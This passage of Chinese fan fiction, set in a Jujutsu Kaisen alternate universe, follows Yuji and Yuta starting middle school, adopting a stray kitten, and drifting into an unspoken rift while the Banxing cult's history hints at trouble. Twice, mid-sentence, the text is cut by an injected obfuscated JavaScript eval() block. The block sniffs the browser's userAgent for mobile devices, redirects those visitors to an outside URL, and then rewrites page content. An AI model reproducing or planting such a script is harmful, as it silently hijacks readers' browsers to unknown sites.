乙骨忧太看向伏黑惠:“伏黑同学晚上要来和我们一起吗?去吃烤肉。”
“不,晚上我要回家和津美纪一起吃。”
伏黑惠拒绝了他们的邀请,所以三个孩子就在竹下通的街头分别了。乙骨忧太和虎杖悠仁去约定好的烤肉店等待枷场姐妹,伏黑惠要乘车回家。临走时他还是买了一份经典水果奶油味的可丽饼带走了,应该是想带回家给津美纪吧。
“排练怎么样?”虎杖悠仁和乙骨忧太并排走在人行道上,天色已经渐渐暗了下来,但是附近正是商店街,这里才刚刚苏醒,带着美食香气的风吹了过来,像是鱼钩一样吊着他们的味蕾。
“很简单的,我回家之后讲给你听。”乙骨忧太帮他拿东西,周围来往的人流逐渐变多。
“嗯......”虎杖悠仁想问的不是这个,乙骨忧太一眼看穿了他,于是主动说了他想听的话:“我有和斋藤说话,帮他和其他人修理了道具,还领到了搬运布景的工作。”
闻言,虎杖悠仁的眼睛立刻弯了起来,看得出他真心为乙骨忧太感到高兴:“你看!是不是没有想象中的那么困难?我就说嘛,忧太一定可以的!”
乙骨忧太在虎杖悠仁的注视下点了点头。付诸行动比他想象中的要简单,这是因为有人在背后推着他,帮他跨越了最艰难的第一步。
“谢谢你,悠仁”黑发孩子笑得很温柔,“以后我们一起加油吧!”
虎杖悠仁跳起来欢呼:“好喔!”
55. 第 55 章
2015年,4月。
两个少年正在人行道上狂奔。他们的速度很快,但动作却不显得莽撞,反而灵巧地避开了前行路上的所有行人,如果蹭到了衣服或手臂,还会得到一声逐渐远去的“抱歉抱歉——”
“喂!!别在街上这样横冲直撞!!”巡警的训斥也被他们远远甩在身后。常在这附近巡逻的警官上了年纪,唯一的坐骑是一辆老式自行车,自然追不上那两个精力太过旺盛的少年,所以也只能让带着不满与怒气的吼声填满周围的街道。
嘁,说了也是白说。巡警掀起帽子擦去额头上的汗水,摇着头继续向下一个街区前进。
虎杖悠仁将自己的包护在怀里,跑得速度极快,但异常稳当。
他根本记不得这一个早上他到底说了多少次“对不起”和“抱歉”,满心满眼都是即将在入学式上迟到的懊悔:“忧太——快看看我们迟到了吗?!”
乙骨忧太头也没回,他必须集中所有精力确保他们不会撞到任何一个人,随口说道:“不知道!大概还没有吧?”
“‘大概’是什么时候啊?!难道我们真的会在开学第一天就迟到吗?!”虎杖悠仁仰天抱怨道。
“别抱怨了!”乙骨忧太直接带着虎杖悠仁走了小路,在无人的小巷里,少年们的动作变得更加放肆,甚至直接开始飞檐走壁,踏着摞在墙边的木条箱直接翻越了围墙,落到通往另一条街的小巷中。
乙骨忧太来不及喘口气,继续和虎杖悠仁一起拔腿狂奔:“还是先想想怎么让那孩子保持安静吧。”
虎杖悠仁感觉到怀里的包动了动,似乎里面的小东西被他们大开大合的动作颠得有些不舒服,在书包里微弱地翻腾着。
“乖啦乖啦,马上就到了哦。”他软下语气和书包里的小东西说着悄悄话。
可喜可贺,他们不是来得最晚的新生。
今天是他们升入中学的第一天,入学式在九点开始,现在刚好还差几分钟。卡点走进校门的虎杖悠仁和乙骨忧太并没有真正错过入学式。
“勉勉强强安全抵达!”粉发少年压着嗓子,隐晦地向乙骨忧太表示自己的欣喜。
“......那孩子没问题吗?”
“嘿嘿,”虎杖悠仁拉开拉链,向他展示在书包里蠕动的小毛团,“放心吧,我抱得很稳。忧太你不是自己体验过吗?很稳的吧!”
他说的是之前某一次运动会上参加借物赛跑时发生的事。虎杖悠仁在操场中央的抽签箱里抽到的是“借一个早上吃了三明治的人”,其他孩子们已经纷纷前往场地周围寻找自己需要借走的东西,高木和其他同学站在集合地点焦急地问他抽到了什么题目。
借物赛跑算是半个团队活动,由各个班级的参赛选手接力完成。他们班的速度落在后半,虎杖悠仁是他们班的最后一个选手。
“三明治......有谁早上吃的是三明治吗?”同班同学们炸开了锅,要说“借一个戴眼镜的人”或者“借一个红色的书包”才算是简单的题目,虎杖悠仁抽到的内容则需要让他们在热闹又嘈杂的环境中挨个询问。
不少孩子已经面露颓色,似乎认定他们肯定拿不到名次了。
但是虎杖悠仁没有这样的想法。他径直狂奔到了场地旁,向乙骨忧太伸出了手,眼神能让人对他产生绝对的信任。
乙骨忧太想也没想就握了上去。
事实证明他应该多想一些的,比如虎杖悠仁为了节省时间究竟会用他那颗粉呼呼的脑袋想出什么样不可理喻的方法来。
乙骨忧太只觉得自己被人扔到了半空一样生成了失重感,虽然他本人并未因此感到任何慌张或惊讶地情绪——毕竟他们平时训练的时候经常会出现这种情况,但他能够听到周围明显地传来了没办法被压住的惊呼声。
他被以一种虎杖悠仁最顺手的方式抱了起来,粉发孩子甚至不需要提醒他扶住自己,乙骨忧太已经下意识地揽住虎杖悠仁的肩膀固定住自己,防止他被扑面而来的狂风吹歪身体。
“好、好快!!”
“那家伙怎么回事?博尔特吗?!”
几乎是眨眼之间,虎杖悠仁就已经抱着乙骨忧太来到了操场中央的裁判身边,兴致勃勃地大声向他宣告:“我们早上吃的三明治!我亲手做的,对吧忧太?”
黑发孩子只顾得用双手捂住自己的脸,小声喃喃道:“快放我下来悠仁太难为情了......”
从场地边缘跑到操场中央的距离对于虎杖悠仁来说,哪怕加上乙骨忧太这个“负重物”,不用术式也能够凭借身体素质完成对其他孩子的反超。他成功让他们班级的名次来到了第三位,这已经是他能争取到的最好成绩,其他孩子们早已欣喜若狂。
如今想想,乙骨忧太还是会为那次借物赛跑的事感到有些不好意思。
总之,下次一定要牵手,被抱着跑到终点算什么啦!
虽然虎杖悠仁的手臂的确很稳当。
他们在礼堂里找到了自己的班级,因为来得晚,所以座位被安排到了最后面。不过坐在后面也有好处,其他同学都是和父母一起来参加入学式的,而乙骨忧太和虎杖悠仁并没有家长陪同,不会因此受到过多的注目。
一般学校的入学式家长会坐在后方或者礼堂二层的观众席,但他们学校偏偏让学生和家长混坐,大概是一种不知为何流传下来了的传统。
整个入学式的流程没有特别之处,唱校歌、校长致辞、在校生发言、新生代表宣誓,一众流程走下来,估计大部分人都在走神吧。
虎杖悠仁的注意力一直停留在自己的书包里。这团毛茸茸的东西是他从马路正中的车流里捡回来的小猫,身上灰仆仆的,看不出毛发原本的颜色,眼睛也还没睁开,不知道是什么原因一路上都安静得过分,一声都没叫过。
是被饿坏了吗?虎杖悠仁将手指放到它的嘴巴前面,感受到指尖被轻轻舔了舔。
“忧太。”他向同样正在走神的黑发少年眨眨眼睛,乙骨忧太就懂得了他的意思。
“还有十分钟左右就会结束了吧?”
礼堂里的仪式结束后,学生们会跟着自己的班主任进入新教室,家长们则留在这里参加学校单独为他们举办的一场说明会。在来到礼堂的路上,乙骨忧太已经看到了自动贩卖机的位置,等到他们跟着人群回到教学楼的时候就可以去买一些牛奶或面包喂给这个小家伙。
虎杖悠仁的嘴角翘得老高,已经迫不及待地想要在冗长的发言结束后立刻冲出去了。
比预想的时间结束得晚了一些,乙骨忧太拦下了虎杖悠仁,自己帮他去自动贩卖机买东西,让他先去教室等他。虎杖悠仁听话地跟着大部队去到了新的教室。
提前安排好的坐席表就贴在了黑板上,讲台前围了很多人,虎杖悠仁站在后面,没在上半张纸上扫到自己和乙骨忧太的名字。
那座位就应该是在教室后面了。他听到有的同学在抱怨为什么坐席表不是按照五十音的顺序来排,反而是以一种不知道什么规则的随机排列生成,这导致他们不得不花费更多的时间寻找自己的座位。
等虎杖悠仁终于找到他们的名字时,乙骨忧太也带着盒装牛奶和火腿回来了。
“在后面,而且我们是同桌诶!”
这小小的幸运足以让他们高兴很久。
每个人的桌子上都有学校准备的“入学礼包”,里面装着学生手册、课表、教科书领取单、学习用品清单、午餐申请单、社团意向单之类的小册子和申请表,虎杖悠仁将一堆文件推到一旁,乙骨忧太在它们掉下桌子之前把它们挪到了自己这边。
“谢啦忧太。”粉发少年悄悄拉开了书包的侧边拉链将幼猫拿了出来放进桌洞里,往矿泉水瓶的瓶盖里挤了一点牛奶,还没睁开眼睛的小家伙寻着气味跌跌撞撞地把头凑了过去。
但是它显然还没来得及学会如何支配自己的舌头,没办法将牛奶用舌头卷入口中,反而溅得四处都是,虎杖悠仁不得不将它们分开,擦干水渍。
乙骨忧太拆开火腿的时候,不同寻常的动静引来了坐在他们旁边的女生的注意。
“不行,它不吃。”虎杖悠仁和乙骨忧太比着口型,轻轻摇了摇头。这只幼猫的年龄比他们想象中的还要小,连怎么进食都没学会,只是本能地吮吸着靠到嘴边的东西。
老师在讲台上说着接下来的安排,待会还要进行学生们的自我介绍。
这基本上是统一流程,很少会被主动跳过。他们班有很多人,所以要过上一段时间才会轮到坐在后排的虎杖悠仁和乙骨忧太。粉发少年在自己的手指上沾了点牛奶,试着这样一点一点喂给它。
幼猫终于伸出前肢抱住了他的手。
好小啊,还没有他的手掌大。虎杖悠仁的表情软了下来,就这样一遍遍地沾着牛奶喂它。
只能勉强解一下燃眉之急,也许他们应该准备一个奶瓶?回家用勺子喂可行吗?
他似乎已经认定他们会将这个小家伙带回家了。
自我介绍的内容总会经过反复地琢磨,比起每个人说了什么,更直观能够看见的是外表与行为表现。尽管都穿着统一的制式校服,但在细节的处理上能够大致看出这个人是否擅长打理自己,发言时大大方方、能够逗笑大家的家伙通常在之后的时间里都会成为班级里的“主人公”,而一些看上去没那么自信的人也理所当然的被划入边缘人的范畴。
他们的发言中规中矩,虎杖悠仁倒是凭借自己特别的发色得到了更多的关注,不过他的心思全在被放回包里的小家伙身上,没有回应任何注视的意思,很快那些视线也都各自散去,不知道它们的主人又暗自给他定下了什么样的标签。
虎杖悠仁决定翘掉校内游览,这个环节里会有高年级的学长学姐带着他们参观校园,之后就是去找各自的家长准备明天正式上课。
乙骨忧太知晓他的意思,正在收拾东西的时候,旁边的女生递过来一张便签纸。她将其轻轻放在了乙骨忧太的桌子上,然后背起书包快速跟着游览
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378194|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学校的队伍离开了。
“写了什么?”虎杖悠仁直接将幼猫抱在手里,他一只手就能托住它。
便签纸上的小字整齐娟秀,笔画干净地写着一些喂养小猫的窍门。那个女生似乎有抚育幼猫的经验,要如何喂奶、如何帮助它学会自己排泄、如何清理身子之类的内容林林总总都一条一条写得很清楚。
“喔!好厉害!!”虎杖悠仁立刻向走廊里望去,可惜到处都是陌生的面孔,已经找不见那个女生的身影了。
因为她就坐在乙骨忧太右手边的位子,所以他还记得她的名字。
“没关系的,等明天还可以问问她。这位......小泽同学,真的好厉害啊。”乙骨忧太郑重地将这份“秘籍”收好,和虎杖悠仁一起向校园外走去。
出了校门口,他们终于不用再躲躲藏藏地说话,幼猫也终于响亮地嚎了出来,只不过这声音......不知道是因为嗓子干渴还是天生的,它的嗓音意外的豪放,还带着一点说不清道不明的沙哑。
这叫声一下就把虎杖悠仁逗得肚子疼,他有些嫌弃地笑道:“什么嘛,怎么叫声这么不可爱啊!”
“你要把它养在家里吗?”
虎杖悠仁将脏兮兮的小猫抱到胸前,模仿着狮子王的经典桥段将它举了起来,眨着亮晶晶的豆豆眼望向乙骨忧太:“求你了!”
“......不要这样看着我,”乙骨忧太坚持了一秒钟就败下阵来,“那以后你来负责照顾它,估计等它长大一些就会跑走吧?”
虎杖悠仁高兴地拍了拍乙骨忧太的肩膀,冲他比出大拇指:“没关系的!忧太马上就会喜欢上它的!跑走也没关系,我本来也没想一直将它困在小屋子里。”
教会里的面积那么大,它想去哪都没问题,离开这里也没问题。
乙骨忧太将书包背带向上提了提:“等它真的走了的时候,你要是哭鼻子我就给你录下来。”
“我才不会啊!!”
对此乙骨忧太不置可否,只是问出了另一个足以让虎杖悠仁苦恼好一阵子的问题:“你有想好给它起个什么名字了吗?”
“完全——没有!这家伙身上太脏了完全看不出是什么颜色的!”
按照毛色称呼的话会不会显得太过普通了?但是伏黑家的玉犬们就是这么叫的......对了!有关这个小家伙的事他还可以问问伏黑惠,毕竟他家都快成动物园了!
伏黑惠正坐在树荫下的长椅上发呆。他上的埼玉市立浦见东中学开学时间比较早,现在已经开始正式上课了。趁着午休时间跑出来发呆,看看操场上的诅咒有没有凝聚成实体的迹象,伏黑惠慢慢适应着自己的初中生活。
津美纪和他在同一所中学,这倒是方便他确保不会有咒灵打扰到她的生活,但是离得太近也导致他的行动束手束脚了起来。
明明禁止携带但还是被偷偷藏起来拿到学校里来了的手机无声地显示有一条未读短信,伏黑惠点开将内容扫了一遍。
“......养猫?”
他熟练地单手打字:让我去你家拜访一下我就免费告诉你。
理所当然地收到了粉发少年拒绝的颜文字和得寸进尺的请求:拜托你了伏黑!如果没人照顾它的话就会随随便便死在马路上了!
伏黑惠不知道该怎么回了。从某种意义上说,他的确养了很多动物,但那都是他的式神,梳毛、玩耍和准备食物都只是一种心理安慰,有助于他加深自己和式神们的联系,在战斗中可以更好地配合。式神是不需要洗澡、驱虫、打疫苗的,也不需要真的让他帮忙看顾幼崽,定时定量给幼崽们喂饭、帮助排泄。
他有喂过家附近的流浪猫和流浪狗,但是没有将它们带回家的想法,也不知道该如何迎接一只野生的幼猫回家。
思考良久,他只能将自己脑子里的理论知识打字告诉了对面那个捧着手机等待回应的粉发少年,并诚恳地建议他带着那只小猫崽去一趟附近的宠物医院。
“小惠!你在这里啊,怎么不和同学一起?”伏黑津美纪的声音让他迅速关上了手机。
少女微微皱起眉头,不过并不吃惊地说:“你还是把手机带到学校来了。”
伏黑惠只能解释道:“我怕五条老师那边有事。”
“五条先生可是老师,他才不会在你上课时间找你呢。”显然这样的借口没办法在伏黑津美纪面前蒙混过关,但伏黑惠的嘴巴就跟他的头发一样不肯认输。
他语气染上了一丝烦闷:“......你少管我。”
“又在说这样的话......”似乎有人在远处喊着伏黑津美纪的名字,应该是她的朋友,少女担心地看了两眼总是一副生人勿近姿态的伏黑惠,只得匆匆将所有的关心压在心底,叮嘱他绝对不可以在课堂上玩手机之后和朋友一起回了自己的教室。
独自坐在长椅上的伏黑惠注视着少女们的背影,看着伏黑津美纪长长的黑色马尾在背后一摇一摆,口中嘟囔着:“烦死人了,臭老姐。”
56. 第 56 章
“猫猫?!好可爱!!你们从哪里捡回来的?”枷场姐妹回来得稍晚,刚走上二层就看到了蹲在地上的虎杖悠仁和乙骨忧太,在发作让他们让开的时候,看到了正在走廊里巡视领地的杂色小猫。
上午的时候果然是因为太饿了,经过少年们的不懈努力,猫崽终于挺着圆滚滚的肚子在对它来说大得过分的新家横冲直撞,叫得响亮极了。
“声音好难听——”枷场美美子已经迅速加入了蹲在地上的两个人的行列,举起手机一边吐槽一边拍照,相机的咔嚓声此起彼伏。
“哈哈,估计是天生的了。”乙骨忧太也想不明白为什么它会有这样一副听起来上了年纪的嗓子。
“是我们早上去参加开学式的路上捡到的,因为在马路正中所以就抱回来了。你们会介意吗?”虎杖悠仁询问少女们的意见,得到了如出一辙的摇头。
“只要不需要我来照顾,我很乐意每天见到它。”枷场菜菜子一语道破。
乙骨忧太问道:“新学校怎么样?”
他们没有和枷场姐妹入学同一所学校,这其中的理由......蛮复杂的,但没有人对此提出异议。
枷场菜菜子拖长声音:“都是猴子们,待在哪里都一样的啦。不过这里的校服裙子太长了,我想要自己改得短一些。”
她们选的学校对出勤率要求没有那么高,请假也很方便,这样自由的时间安排很符合她们的心意。
枷场菜菜子回答完乙骨忧太的问题之后就和美美子一样沉浸在逗猫里,没有在意留在走廊中的沉默。
小猫最后被带回了虎杖悠仁他们的屋子,不过枷场姐妹愿意自费为它准备食盆和猫爬架。它的精力旺盛到有些难以想象它曾有缩在书包里虚弱到叫不出声来的时候,而且又是个热情亲人的性格,睡在上床的虎杖悠仁还好,乙骨忧太的下铺已经彻底变成了它的游乐场。
小猫可不知道什么是掉毛,乙骨忧太在小猫玩过的床铺上睡过一晚后,第二天拉着虎杖悠仁买了很多粘毛器,并且试图教育它不许上床。
显然,收效甚微。
“忧太,你来给它起个名字吧。也不能总咪咪、咪咪地叫它,”虎杖悠仁将一根逗猫棒栓在了天花板上,调整着尾部垂下来的高度,杂色小猫在此期间一直对着摇晃的玩具扑来扑去,“不过它的毛色好复杂,不然就可以像玉犬们一样叫它小黑或者小白了。”
“叫什么都好啦......”乙骨忧太横着躺在自己的床上,双腿落在地上,半死不活地把脖子抬了起来:“它有点太粘人了。”
“它很喜欢你啊!”虎杖悠仁从上铺探出头来,看到小猫在乙骨忧太身上上蹿下跳,黑发少年露出了一副“幸福地苦恼着”的模样。有咒力在,小猫的重量自然不会对他造成什么影响,但是无论什么时候,只要他们站在地面上,它都肯定要顺着裤腿爬上来。
被虎杖悠仁经历一番搏斗才仔细修剪好的指甲就这样划花了好几件睡裤,它仿佛只有站在他们头顶上才觉得满意。
结果两个人讨论了一番,始终无法确定下它的名字,最后还是觉得怎么顺口怎么来。
“对了,”虎杖悠仁陪着它玩球的时候,突然想起什么事,“你见到那个外国人了吗?看起来像是从非洲来的黑人。”
他下楼扔垃圾的时候见到那个外国人正在和夏油杰说着什么,尽管戴着墨镜,可虎杖悠仁还是觉得对方的视线扫了过来。
“是谁?”
他们熟悉的外国人只有拉鲁,但是他不常来教会。
“不知道。”
虎杖悠仁的手上甩着逗猫棒,上面绑着的小铃铛发出清脆的声音,吸引着小猫在虎杖悠仁腿间跳来跳去地追逐着发出响声的东西。
“......”
铃声响起的节奏逐渐变得刻板,乙骨忧太发现了虎杖悠仁正在走神。
“在想什么?”他打断了粉发少年沉默的思考。
“倒也、没什么啦......”虎杖悠仁的目光游移了一圈,最后落在了手中的玩具上:“最近教会里来来往往的人变得越来越多了。不只是非术师,还有很多术师......诅咒师。”
但是因为他们大多不住在教会,所以这栋楼里除了常住的虎杖悠仁和乙骨忧太之外,就只剩下枷场姐妹、夏油杰还有偶尔会过来的菅田真奈美他们。
“忧太知道这里原本是什么地方吗?”
乙骨忧太放下手中的笔。他原本还在准备小测的复习资料,闻言也无心继续将精力放在学习上,从凳子上起身,坐到了虎杖悠仁身边:“......不知道。”
小猫玩累了,蹭到了乙骨忧太身边,他伸手摸着它顺滑的毛发。
“是夏油先生和你说了什么吗?悠仁?”
小猫从他的手底下跑走了,回到猫爬架最上层的透明窝里舔着爪子。
乙骨忧太双手抱膝,以一种很没安全感的姿势蜷缩在一起,和旁边伸长双腿、姿势大开大合的虎杖悠仁形成了鲜明的对比。
虎杖悠仁思考着该如何开口。
不应该说是夏油杰告诉了他什么,反而应该说他自己发现了什么。
“那天我在正门附近看见斋藤了,”他斟酌着说道,“他身上有很严重的诅咒,已经形成咒灵了。”
乙骨忧太回想着最近他们仅有的几次分开行动,很快确定了虎杖悠仁所说的时间,心中也隐隐有了猜测。
“因为有点在意,所以我在他们进门之前拦住问了几句。”
虎杖悠仁将脸转向乙骨忧太,手指在自己眼睛下面比比划划:“他的黑眼圈有这么大,看起来像是失眠很久了。”
乙骨忧太将下巴搭在膝盖上,侧着头说:“是因为咒灵?”
虎杖悠仁摇头。带着斋藤来的应该是他的母亲,她似乎将教会当成了最后的稻草......从某种方面来说,这种想法居然是正确的。
“我们毕业的时候斋藤还没有这么严重,估计是假期和升入中学后又发生了什么吧,”虎杖悠仁将话题继续推进,“他妈妈说这个地方原来属于一个叫盘星教的组织,不知道什么时候就成了夏油先生的教会,名字也换掉了。”
许多遇到了“无法解释的问题”、笃定夏油杰能够用巫术或者咒术去除烦恼根源的非术师慕名来到教会,他们之中的大部分身上都跟着咒灵,夏油杰会将咒灵调伏,没有咒灵的非术师自然被随意打发走了。
咒灵离开之后,人们觉得困扰自己多时的问题得到了解决,教会的名声就在附近流传了出去。
但这还是虎杖悠仁第一次听说这个地方原本的名字。
“我在网上搜索过,盘星教......这个名字一听就也是一个教会组织,但没有更细节的信息了。”
“为什么......你这么在意这个,悠仁?”
虎杖悠仁没有说话,但也没有抬头去看乙骨忧太。黑发的少年松开了双手,将身体转向了他所在的方向。这个动作让虎杖悠仁的呼吸下意识地放缓,果不其然听到乙骨忧太说:“你去问孔时雨了?”
乙骨忧太总是这么敏锐。
“他说那是‘秘密’。”虎杖悠仁如实告知。
乙骨忧太的手已经搭在了他的肩膀上,明明体温应该比他低很多,但此时虎杖悠仁却觉得他的手烫得过分。
“这件事到此为止了,悠仁。不管夏油先生想做什么,不管那个盘星教究竟是什么东西,那都与我们无关。”
黑发少年半强迫性地让虎杖悠仁抬起头看着他的眼睛,那双黑色的眸子在居高临下地看着人的时候总是黯淡无光的,纯粹的黑极具压迫感。
不知道从什么时候开始,乙骨忧太的目光偶尔就会变成这个样子。
“但是......”
“悠仁,”乙骨忧太忽然笑了出来,他俯下身子让自己的视线和虎杖悠仁处于同一高度,但虎杖悠仁能看出他笑得很勉强,“悠仁。”
虎杖悠仁闭上了嘴。
搭在脖子上的手掌太烫了,让他有些难受地瑟缩了一下。
“等上完中学,我们就搬走吧。”乙骨忧太在叫过他的名字之后沉默了很久很久,然后说道。
他垂着头,既没有等待虎杖悠仁的回应,也不想去看他脸上的表情:“这一次,真的是属于我们的‘家’了。”
手下的皮肤温热,乙骨忧太能够通过敏锐的触觉感受到皮肤下汩汩流淌的血液和鼓动的脉搏,蕴藏其中的生命力让他觉得自己仿佛也如此蓬勃生长着。
肌肉抽动,半天没有说话的虎杖悠仁突然问道:“你说我们以后还会永远在一起吗?”
这话他问得语气太过平常,仿佛内心毫无波澜,无论得到什么样的答案都不会令他动容。
但这正是最不平常的表现。虎杖悠仁的话里应该永远带着丰富的情感,可是此刻乙骨忧太却找不到它们,就像粉发少年将其完美地藏了起来,拒绝了他的窥探。
所以他急切地回答:“当然了!因为我们是——”
乙骨忧太停了下来,他突然感觉到手下的脉搏变快了,就好像运送血液的心脏正在极快速地跳动着。
虎杖悠仁拂开了他的手。
“......好热。”
他没头没尾地说了一句,起身去厨房给自己倒水。
小猫打了一个大大的哈欠,将脑袋搭在猫窝旁边,懒散地闭上了眼睛。
这场没有结果的对话在这里彻底中断了,他们装作正常地相互道了晚安,在闭上眼睛后逼迫自己忘记刚才发生的事,自欺欺人地随着并不安稳的梦境来到第二天。
自那天开始。乙骨忧太记得很清楚,被双方同时掩盖过去的争吵比吵到最后动起手来不分个胜负不罢休的争执更可怕,所以他清清楚楚地记得那一天。
他们的生活似乎发生了微妙的变化。
他们开始拥有了各自的朋友,就像所有像他们这个年纪的少年一样,拥有了并不重合的交际圈。
虎杖悠仁的身体天赋在体育课上崭露头角,在午休的时间会被邀请去打篮球或者踢足球,偶尔走在操场上也会被人指着说“那是几班跑得特别快的那个”,连体育老师都来询问他有没有参加田径社团的想法。
不过每到这种时候粉发少年总会看似勉强地婉拒老师和社团前辈的邀请,胡乱编出各种借口,最后干脆只说自己暂时没这个想法,不得不让他们失望而归。
走在回教会的路上,乙骨忧太开口说:“悠仁想要去社团也没关系的。”
他想说虎杖悠仁不必为了照顾自己而选择拒绝,说不定他也可以去参加什么社团,等到活动结束之后他们还可以一起回家。就算放学后不能继续同行,也没关系的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378195|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
可是虎杖悠仁只是抿着嘴说道:“有关系的。”
这条路上的樱花早就落光,只剩下附近的河道的水面上还能看到未被捞起的花瓣,只不过颜色早已被水泡透,褪得很厉害。
趁着最闷热的夏季还没来,空旷的训练场里气温还算可以接受,乙骨忧太正在独自练刀的时候,被经过的枷场菜菜子叫停了下来。她站在场地外向他招手,等他靠近后左右扫视着周围,然后才小心翼翼地贴近他说:“你和悠仁最近怎么回事?吵架了吗?你们终于对天天黏在一起这件事感到厌烦了?”
乙骨忧太下意识地反驳:“没有啦......好吧,我们的确有吵过、不,我也不知道该怎么说。果然最近他很不对劲?”
枷场菜菜子撇了撇嘴,指着他说道:“你也很不对劲啊!”
“......你们每天待在一起会觉得厌烦吗?比如想和对方之外的人更多地交往?”乙骨忧太不知道应该先审视自己还是先看透虎杖悠仁,所以只能抓住枷场菜菜子话中的某一部分当作挡箭牌,留出喘息和思考的时间。
“我们可是双胞胎姐妹,”枷场菜菜子大声“哈”了一下,为乙骨忧太问出的蠢问题感到不可思议,“没准普通的兄弟姐妹会觉得厌烦吧?但我们可是永远都要在一起的,怎么会觉得厌烦?而且别把我们和你们混为一谈,谁想要和猴子们多交往啊?”
枷场美美子抱着玩偶站在旁边点头。
乙骨忧太几度想要说些什么,但说话的欲望到了嘴边却没办法组成词句,所有的问题被拆散打碎混在大脑里,凭他自己根本无法将这份拼图重新拼好。
“不过,”枷场菜菜子想到了什么,有些嫌弃,但还是继续说道,“算了,如果我是你们,我觉得这也没什么。你们都把彼此看得太重要,好像对方离开自己就没办法独自生活了一样,你们又不是连体婴,干嘛总要黏在一起?”
是这样的吗?
枷场美美子说:“菜菜子不会看我在用手机的时候都干了什么。”
这是属于她们各自独立又隐秘的私密空间,即便她们是双子,也不意味着她们的人生没有独属于自己的地方。
乙骨忧太似乎模模糊糊地抓到了关窍,然而这个想法颠覆了他自己的认知:“你们的意思是......是我站得太近了吗?”
然而枷场姐妹再一次推翻了他的说法。
“如果是一个人,”枷场美美子说,“大概是的。”
在乙骨忧太开口之前,枷场菜菜子打断了他:“但你们两个都是这样,这才是最麻烦的事啊。不想离得太远,也不能离得太近,结果就是连悠仁那样的笨蛋都会烦恼成那个样子,看起来像是在闹别扭一样。”
亏她们还以为这两个人真的吵架了,结果居然是因为这样。
乙骨忧太捂住了嘴巴,他缓缓地拄着刀蹲在了地上,脸上一副沉思的严肃表情。
“怎么了?我们说的不对?”他的动作让枷场菜菜子反问,不过她觉得自己已经看穿了这场“别扭”的真正理由,只是让她心生疑虑的还是虎杖悠仁的反应。和她们相处的时候看起来还是那个开朗阳光的虎杖悠仁,永远有着蓬勃的生命力,可是一到遇见和乙骨忧太相关的事,他总会突然变得沉默,然后装作一切如常。
但是因为虎杖悠仁本人拙劣的演技,想要让周围人忽视这一现象的行为从未真正奏效。
“不......不。”乙骨忧太感觉到自己的呼吸正在加重,他将捂在嘴前的手拿开,掌心里已经覆上了一层薄汗。
体温的升高只在一瞬间,乙骨忧太有片刻什么都听不到,只能感受到从心口迸发出的热量直接蹿上了头顶,在感官恢复正常之后,脸颊居然在盛夏的傍晚感受到了丝丝凉意。
那是因为体温过高的脸颊皮肤在散热时产生的错觉。
枷场美美子及时提醒道:“悠仁过来了。”
她话音未落,属于粉发少年的清亮嗓音便传了过来:“忧太?身体不舒服?想吐?”
他跑得有点急,似乎是在远处看到了乙骨忧太蜷缩着蹲在地上的身影后立刻冲了过来,此时有点刹不住车。
“有反转术式的家伙怎么可能这么简单地生病啊,”枷场菜菜子用眼神向乙骨忧太示意,不知道黑发少年有没有看懂她在干什么,“悠仁你就是太关心他了!”
虎杖悠仁一直记得他们还住在村子里时乙骨忧太偶尔会出现这种应激状态,在河边的时候就完全地忘记了该如何呼吸,差点把自己憋死。夜晚从噩梦中惊醒,偶尔会严重到反胃呕吐。
他一直都记得,所以看到乙骨忧太蹲下身体就会下意识地回想起那些画面,让恐慌和担忧的情绪主导自己的行为,想也没想就冲过来了。跑动的时候根本记不得乙骨忧太是个会使用反转术式的术师,仿佛这些年灌输进他脑海里的知识只是一个漂亮的泡泡,只要和乙骨忧太沾点边的东西都能够轻易戳破它。
看到两个少年都不怎么能继续听进去她讲话,枷场菜菜子摊手,准备继续她们原本的行程,去吃很早就看上的一家网红店。美美子在追上去之前和男孩子们说道:“要好好讲清楚才行,不可以逃避!”
虎杖悠仁抬起头,和离开的枷场姐妹挥手告别,然后被乙骨忧太抓住了手臂。
“我们来谈谈,悠仁。”
他没有拒绝。
57. 第 57 章
乙骨忧太用自己的手指丈量着虎杖悠仁手腕的宽度。他总有种恍如隔世的感觉,屋子里到处乱跑的小猫已经长得和他的小臂一样长,可是从他们捡它回家到现在也不过只有两三个月。
他却觉得自己已经很久没有像这样再握住虎杖悠仁的手腕了。
“松开啦。”虎杖悠仁小小地抗拒了一下,但是没能甩动,从这样无声的拒绝中感知到了乙骨忧太的决意,于是他也放松了手臂,不再反抗黑发少年拉着他的力道。
虎杖悠仁的视线落在了乙骨忧太手腕上的绑绳和木制勾玉上。这是他们送给对方的第一个生日礼物,绳子已经换了很多条,但勾玉却一直还是原来的那个。他自己脖子上戴着的那个也是。
“篮球比赛是谁赢了?”
“当然是......”虎杖悠仁看得有些走神,猛地听到这个问题,刚才紧密关注过的答案呼之欲出,却在临说出口的时候反应了过来。
在乙骨忧太练刀的时候,他躲在树荫底下和同样关注着篮球比赛的同学发着消息,直到现在放在兜里的手机都还在不停地响动着,能够看出自己支持的主队取得胜利的好消息让那个朋友过分兴奋,激动地和他连发着消息。
虎杖悠仁没有将手机拿出来回复的意思。他沉默地被乙骨忧太拉着走,他们正在往屋子里去,可他却觉得这条路就像被人扔进了烤箱里一样,逐渐升高的温度让他在走上楼梯的时候忍无可忍,站在了某一节台阶上停了下来。
